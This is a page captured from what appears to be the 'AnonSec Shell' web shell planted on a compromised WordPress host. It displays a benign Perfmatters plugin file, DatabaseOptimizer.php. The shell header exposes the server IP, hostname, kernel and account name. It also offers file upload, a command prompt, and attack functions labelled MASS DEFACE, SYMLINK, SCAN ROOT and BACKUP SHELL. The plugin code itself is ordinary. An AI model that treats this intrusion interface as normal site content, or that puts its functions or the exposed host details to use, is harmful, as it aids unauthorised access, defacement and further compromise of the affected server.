. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 162.0.212.4  /  Your IP : 216.73.216.14   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium146.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : alshnoli ( 2431)
PHP Version : 8.3.28
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alshnoli/public_html/wp-content/plugins/perfmatters/inc/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/alshnoli/public_html/wp-content/plugins/perfmatters/inc/classes/DatabaseOptimizer.php
<?php
namespace Perfmatters;

class DatabaseOptimizer {

	//declare our optimizer
	protected $optimizer;

	//actions + filters
	public function __construct() {

		//initialize optimizer
		$this->optimizer = new DatabaseOptimizationProcess();

		add_filter('pre_update_option_perfmatters_tools', array($this, 'perfmatters_database_optimization_action'), 10, 2);
		add_action('admin_notices', array($this, 'perfmatters_database_optimization_notices'));
		add_filter('cron_schedules', array($this, 'perfmatters_add_database_optimization_cron_schedule'));
		add_action('init', array($this, 'perfmatters_schedule_database_optimization'));
		add_action('perfmatters_database_optimization', array($this, 'perfmatters_run_scheduled_database_optimization'));
	}

	//run the background process
	public function process_handler($items) {

		//push the requested items to the queue
		array_map(array($this->optimizer, 'push_to_queue'), $items);

		//run the process
		$this->optimizer->save()->dispatch();
	}

	//watch and respond to the optimize button
	public function perfmatters_database_optimization_action($new_value, $old_value) {

		//optimize button was pressed
		if(!empty($new_value['database']['optimize_database'])) {

			//stop and show error if process is already running
			$working = get_transient('perfmatters_database_optimization_process');
			if($working !== false) {
				add_settings_error('perfmatters', 'perfmatters-database-optimization-running', __('There is already an existing database optimization process running.', 'perfmatters'), 'error');
				return $old_value;
			}

			//get available options array
			$optimize_options = array_keys($this->perfmatters_get_database_options());

			//build array of requested items
			$items = array();
			foreach($optimize_options as $item) {
				if(!empty($new_value['database'][$item])) {
					$items[] = $item;
				}
			}

			//run process handler
			if(!empty($items)) {
				$this->process_handler($items);
			}

			//add hidden notice to prevent save message
			add_settings_error('perfmatters', 'perfmatters-hidden-notice', '', 'success');

			return $old_value;
		}

		$new_optimize_schedule = isset($new_value['database']['optimize_schedule']) ? $new_value['database']['optimize_schedule'] : '';
		$old_optimize_schedule = isset($old_value['database']['optimize_schedule']) ? $old_value['database']['optimize_schedule'] : '';

		//optimize schedule was changed
		if($new_optimize_schedule !== $old_optimize_schedule) {
			if(wp_next_scheduled('perfmatters_database_optimization')) {
				wp_clear_scheduled_hook('perfmatters_database_optimization');
			}
		}

		return $new_value;
	}

	//display notices for database optimization process
	public function perfmatters_database_optimization_notices() {
	
		//permissions check
		if(!current_user_can('manage_options')) {
			return;
		}

		//make sure were on our settings page
		if(empty($_GET['page']) || $_GET['page'] !== 'perfmatters') {
			return;
		}

		//get working transient
		$working = get_transient('perfmatters_database_optimization_process');

		if($working !== false) {

			$notice_type = "info";

			$message = __('Database optimization is running in the background.', 'perfmatters');
		}
		else {

			//get completed optimized transient
			$completed = get_transient('perfmatters_database_optimization_process_complete');

			if($completed === false) {
				return;
			}

			$notice_type = "success";

			//get db options array
			$database_options = $this->perfmatters_get_database_options();

			//build admin notice message
			if(!empty($completed)) {
				$message = __('Database optimization completed. The following items were removed:', 'perfmatters');

				$message.= "<ul style='margin: 0px; padding: 0px 2px;'>";
				foreach($completed as $key => $count) {
					$message.= "<li>";
						$message.= "<strong>" . $database_options[$key] . ':</strong> ' . $count;
					$message.= "</li>";
				}
				$message.= "</ul>";
			}
			else {
				$message = __('Database optimization completed. No optimizations found.', 'perfmatters');
			}

			//delete our completed transient
			delete_transient('perfmatters_database_optimization_process_complete');
		}

		//display admin notice
		if(!empty($message)) {
			echo "<div class='notice notice-" . $notice_type . " is-dismissible'>";
	        	echo "<p>" . $message . "</p>";
	   		echo"</div>";
		}
	}

	//add cron schedule
	public function perfmatters_add_database_optimization_cron_schedule($schedules) {

		$perfmatters_tools = get_option('perfmatters_tools');
		if(empty($perfmatters_tools['database']['optimize_schedule']) || $perfmatters_tools['database']['optimize_schedule'] == 'daily') {
			return $schedules;
		}

		switch($perfmatters_tools['database']['optimize_schedule']) {
			case 'weekly' :
				$schedules['weekly'] = array(
					'interval' => 604800,
					'display'  => __('Once Weekly', 'perfmatters'),
				);
				break;

			case 'monthly' :
				$schedules['monthly'] = array(
					'interval' => 2592000,
					'display'  => __('Once Monthly', 'perfmatters'),
				);
				break;

			default :
				break;
		}

		return $schedules;
	}

	//create database optimization scheduled event
	public function perfmatters_schedule_database_optimization() {
		$perfmatters_tools = get_option('perfmatters_tools');
		if(!empty($perfmatters_tools['database']['optimize_schedule']) && !wp_next_scheduled('perfmatters_database_optimization')) {
			wp_schedule_event(time(), $perfmatters_tools['database']['optimize_schedule'], 'perfmatters_database_optimization');
		}
	}

	//scheduled event action
	public function perfmatters_run_scheduled_database_optimization() {

		$perfmatters_tools = get_option('perfmatters_tools');

		$optimize_options = array_keys($this->perfmatters_get_database_options());

		//build array of set items
		$items = array();
		foreach($optimize_options as $item) {
			if(!empty($perfmatters_tools['database'][$item])) {
				 $items[] = $item;
			}
		}

		//run process handler
		if(!empty($items)) {
			$this->process_handler($items);
		}
	}

	//return array of database options
	protected function perfmatters_get_database_options() {
		return array(
			'post_revisions'     => __('Revisions', 'perfmatters'),
			'post_auto_drafts'   => __('Auto Drafts', 'perfmatters'),
			'trashed_posts'       => __('Trashed Posts', 'perfmatters'),
			'spam_comments'      => __('Spam Comments', 'perfmatters'),
			'trashed_comments'   => __('Trashed Comments', 'perfmatters'),
			'expired_transients' => __('Expired transients', 'perfmatters'),
			'all_transients'     => __('Transients', 'perfmatters'),
			'tables'             => __('Tables', 'perfmatters')
		);
	}
}

Anon7 - 2022
AnonSec Team